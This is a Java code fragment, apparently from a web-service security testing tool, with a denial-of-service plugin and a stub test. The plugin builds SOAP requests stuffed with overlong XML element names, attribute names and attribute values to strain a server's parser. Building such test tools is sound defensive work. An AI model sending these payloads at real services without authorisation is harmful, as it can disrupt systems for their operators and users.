XmlOverlongNames extends AbstractDosPlugin { @Override public void createTamperedRequest() { StringBuilder sb = new StringBuilder( "" ); if ( useLengthOfElementName.isOn() ) { sb.append( "<" ); for ( int i = 1; i < ( lengthOfElementName.getValue() ); i++ ) { sb.append( "A" ); } sb.append( ">test</" ); for ( int i = 1; i < ( lengthOfElementName.getValue() ); i++ ) { sb.append( "A" ); } sb.append( ">" ); } if ( useLengthOfAttributeName.isOn() ) { sb.append( "<abc " ); for ( int i = 1; i < ( lengthOfAttributeName.getValue() ); i++ ) { sb.append( "B" ); } sb.append( "=\"test\">value</abc>" ); } if ( useLengthOfAttributeValue.isOn() ) { sb.append( "<def long=\"" ); for ( int i = 1; i < ( lengthOfAttributeName.getValue() ); i++ ) { sb.append( "C" ); } sb.append( "\">value</def>" ); } String soapMessage = this.getOptionTextAreaSoapMessage().getValue(); String soapMessageFinal = this.getOptionTextAreaSoapMessage().replacePlaceholderWithPayload( soapMessage, sb.toString() ); Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), soapMessageFinal ); }  @Override void initializeDosPlugin(); AbstractOptionInteger getOptionLengthOfElementName(); OptionSimpleBoolean getUseLengthOfElementName(); AbstractOptionInteger getOptionLengthOfAttributeName(); OptionSimpleBoolean getUseLengthOfAttributeName(); AbstractOptionInteger getOptionLengthOfAttributeValue(); OptionSimpleBoolean getUseLengthOfAttributeValue(); @Override OptionTextAreaSoapMessage.PayloadPosition getPayloadPosition(); void initData(); @Override void createTamperedRequest();  }
@Test public void testCreateTamperedRequest() { t.testCreateTamperedRequest( attackPlugin ); }